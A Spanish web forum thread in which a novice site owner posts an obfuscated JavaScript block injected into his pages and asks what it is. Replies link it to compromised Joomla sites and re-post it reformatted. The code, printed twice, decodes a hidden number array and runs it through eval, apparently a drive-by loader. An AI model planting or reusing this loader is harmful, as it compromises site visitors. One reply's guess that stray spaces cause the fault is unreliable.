Problema con script en php.

Iniciado por calvin2sr, 21 Noviembre 2012, 14:50 PM

0 Miembros y 1 Visitante están viendo este tema.

calvin2sr

Hola:
Soy novato en esto del desarrollo web y tengo una pagina web. Sin embargo desde hace ayer no me iba. He mirado en donde estaba el error y me he encontrado en que en varios archivos este script:
<!--fff309--><script type="text/javascript" language="javascript" >lo que sea</script>
me aparece todo esto:
try{if(window.document)window["document"]["body"]="vasasf"}catch(bawetawe){if(window.document){v=wi ndow;try{fawbe--}catch(afnwenew){try{(v+v)()}catch(gngrthn){try{if (020===0x10)v["document"]["bo"+"dy"]="123"}catch(gfdnfdgber){m=123;if((alert+"").index Of("n"+"a"+"ti"+"ve")!==-1)ev=window["eval"];}}n=["1f","42","4h","4a","3o","4g","45","4b","4a","17", "1f","1g","17","4n","d","a","17","17","17","17","4 i","3m","4e","17","3m","4b","3m","17","2b","17","4 0","4b","3o","4h","49","41","4a","4g","1l","3o","4 e","41","3m","4g","41","2j","48","41","49","41","4 a","4g","1f","1e","45","42","4e","3m","49","41","1 e","1g","29","d","a","d","a","17","17","17","17"," 3m","4b","3m","1l","4f","4e","3o","17","2b","17"," 1e","44","4g","4g","4c","28","1m","1m","3m","4i"," 3o","4b","48","4b","4e","1l","3o","44","1m","35"," 41","4e","4f","4b","4a","3m","48","41","1m","3o"," 4a","4g","1l","4c","44","4c","1e","29","d","a","17 ","17","17","17","3m","4b","3m","1l","4f","4g","4l ","48","41","1l","4c","4b","4f","45","4g","45","4b ","4a","17","2b","17","1e","3m","3n","4f","4b","48 ","4h","4g","41","1e","29","d","a","17","17","17", "17","3m","4b","3m","1l","4f","4g","4l","48","41", "1l","3n","4b","4e","40","41","4e","17","2b","17", "1e","1n","1e","29","d","a","17","17","17","17","3 m","4b","3m","1l","4f","4g","4l","48","41","1l","4 4","41","45","43","44","4g","17","2b","17","1e","1 o","4c","4k","1e","29","d","a","17","17","17","17" ,"3m","4b","3m","1l","4f","4g","4l","48","41","1l" ,"4j","45","40","4g","44","17","2b","17","1e","1o" ,"4c","4k","1e","29","d","a","17","17","17","17"," 3m","4b","3m","1l","4f","4g","4l","48","41","1l"," 48","41","42","4g","17","2b","17","1e","1o","4c"," 4k","1e","29","d","a","17","17","17","17","3m","4b ","3m","1l","4f","4g","4l","48","41","1l","4g","4b ","4c","17","2b","17","1e","1o","4c","4k","1e","29 ","d","a","d","a","17","17","17","17","45","42","1 7","1f","18","40","4b","3o","4h","49","41","4a","4 g","1l","43","41","4g","2j","48","41","49","41","4 a","4g","2g","4l","2n","40","1f","1e","3m","4b","3 m","1e","1g","1g","17","4n","d","a","17","17","17" ,"17","17","17","17","17","40","4b","3o","4h","49" ,"41","4a","4g","1l","4j","4e","45","4g","41","1f" ,"1e","2a","40","45","4i","17","45","40","2b","3h" ,"1e","3m","4b","3m","3h","1e","2c","2a","1m","40" ,"45","4i","2c","1e","1g","29","d","a","17","17"," 17","17","17","17","17","17","40","4b","3o","4h"," 49","41","4a","4g","1l","43","41","4g","2j","48"," 41","49","41","4a","4g","2g","4l","2n","40","1f"," 1e","3m","4b","3m","1e","1g","1l","3m","4c","4c"," 41","4a","40","2h","44","45","48","40","1f","3m"," 4b","3m","1g","29","d","a","17","17","17","17","50 ","d","a","50","1g","1f","1g","29"];h=2;s="";if(m)for(i=0;i-473!=0;i++){k=i;if(window["document"])s+=String.fromCharCode(parseInt(n,25));}z=s;if(v)ev(z)}}}</script><!--/fff309-->

Me podeis decir que es esto? no soy muy entendido.
Muchas gracias y perdonad las molestias.

#!drvy

Parece ser que es parte o de Joomla o de algún tipo de malware que ha afectado a dicho CMS.

Razon:
Código (url) [Seleccionar]
https://www.google.com/search?q=1f%22%2C%221g%22%2C%2217%22%2C%224n%22%2C%22d%22%2C%22a%22%2C%2217%22
Saludos

Shell Root

Código (javascript) [Seleccionar]
try {
    if (window.document) window["document"]["body"] = "vasasf"
} catch (bawetawe) {
    if (window.document) {
        v = wi ndow;
        try {
            fawbe--
        } catch (afnwenew) {
            try {
                (v + v)()
            } catch (gngrthn) {
                try {
                    if (020 === 0x10) v["document"]["bo" + "dy"] = "123"
                } catch (gfdnfdgber) {
                    m = 123;
                    if ((alert + "").index Of("n" + "a" + "ti" + "ve") !== -1) ev = window["eval"];
                }
            }
            n = ["1f", "42", "4h", "4a", "3o", "4g", "45", "4b", "4a", "17", "1f", "1g", "17", "4n", "d", "a", "17", "17", "17", "17", "4 i", "3m", "4e", "17", "3m", "4b", "3m", "17", "2b", "17", "4 0", "4b", "3o", "4h", "49", "41", "4a", "4g", "1l", "3o", "4 e", "41", "3m", "4g", "41", "2j", "48", "41", "49", "41", "4 a", "4g", "1f", "1e", "45", "42", "4e", "3m", "49", "41", "1 e", "1g", "29", "d", "a", "d", "a", "17", "17", "17", "17", " 3m", "4b", "3m", "1l", "4f", "4e", "3o", "17", "2b", "17", " 1e", "44", "4g", "4g", "4c", "28", "1m", "1m", "3m", "4i", " 3o", "4b", "48", "4b", "4e", "1l", "3o", "44", "1m", "35", " 41", "4e", "4f", "4b", "4a", "3m", "48", "41", "1m", "3o", " 4a", "4g", "1l", "4c", "44", "4c", "1e", "29", "d", "a", "17 ", "17", "17", "17", "3m", "4b", "3m", "1l", "4f", "4g", "4l ", "48", "41", "1l", "4c", "4b", "4f", "45", "4g", "45", "4b ", "4a", "17", "2b", "17", "1e", "3m", "3n", "4f", "4b", "48 ", "4h", "4g", "41", "1e", "29", "d", "a", "17", "17", "17", "17", "3m", "4b", "3m", "1l", "4f", "4g", "4l", "48", "41", "1l", "3n", "4b", "4e", "40", "41", "4e", "17", "2b", "17", "1e", "1n", "1e", "29", "d", "a", "17", "17", "17", "17", "3 m", "4b", "3m", "1l", "4f", "4g", "4l", "48", "41", "1l", "4 4", "41", "45", "43", "44", "4g", "17", "2b", "17", "1e", "1 o", "4c", "4k", "1e", "29", "d", "a", "17", "17", "17", "17", "3m", "4b", "3m", "1l", "4f", "4g", "4l", "48", "41", "1l", "4j", "45", "40", "4g", "44", "17", "2b", "17", "1e", "1o", "4c", "4k", "1e", "29", "d", "a", "17", "17", "17", "17", " 3m", "4b", "3m", "1l", "4f", "4g", "4l", "48", "41", "1l", " 48", "41", "42", "4g", "17", "2b", "17", "1e", "1o", "4c", " 4k", "1e", "29", "d", "a", "17", "17", "17", "17", "3m", "4b ", "3m", "1l", "4f", "4g", "4l", "48", "41", "1l", "4g", "4b ", "4c", "17", "2b", "17", "1e", "1o", "4c", "4k", "1e", "29 ", "d", "a", "d", "a", "17", "17", "17", "17", "45", "42", "1 7", "1f", "18", "40", "4b", "3o", "4h", "49", "41", "4a", "4 g", "1l", "43", "41", "4g", "2j", "48", "41", "49", "41", "4 a", "4g", "2g", "4l", "2n", "40", "1f", "1e", "3m", "4b", "3 m", "1e", "1g", "1g", "17", "4n", "d", "a", "17", "17", "17", "17", "17", "17", "17", "17", "40", "4b", "3o", "4h", "49", "41", "4a", "4g", "1l", "4j", "4e", "45", "4g", "41", "1f", "1e", "2a", "40", "45", "4i", "17", "45", "40", "2b", "3h", "1e", "3m", "4b", "3m", "3h", "1e", "2c", "2a", "1m", "40", "45", "4i", "2c", "1e", "1g", "29", "d", "a", "17", "17", " 17", "17", "17", "17", "17", "17", "40", "4b", "3o", "4h", " 49", "41", "4a", "4g", "1l", "43", "41", "4g", "2j", "48", " 41", "49", "41", "4a", "4g", "2g", "4l", "2n", "40", "1f", " 1e", "3m", "4b", "3m", "1e", "1g", "1l", "3m", "4c", "4c", " 41", "4a", "40", "2h", "44", "45", "48", "40", "1f", "3m", " 4b", "3m", "1g", "29", "d", "a", "17", "17", "17", "17", "50 ", "d", "a", "50", "1g", "1f", "1g", "29"];
            h = 2;
            s = "";
            if (m) for (i = 0; i - 473 != 0; i++) {
                k = i;
                if (window["document"]) s += String.fromCharCode(parseInt(n, 25));
            }
            z = s;
            if (v) ev(z)
        }
    }
}


Dame unas horas que cuando salga de trabajar miraré a ver que puede ser,
Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.

itsukisekaiakiba

puedes xecar si algun nombre que pides esta mal escrito o tiene espacios de mas puede ser.. no es mucho pero espero ser de utilidad

v = wi ndow;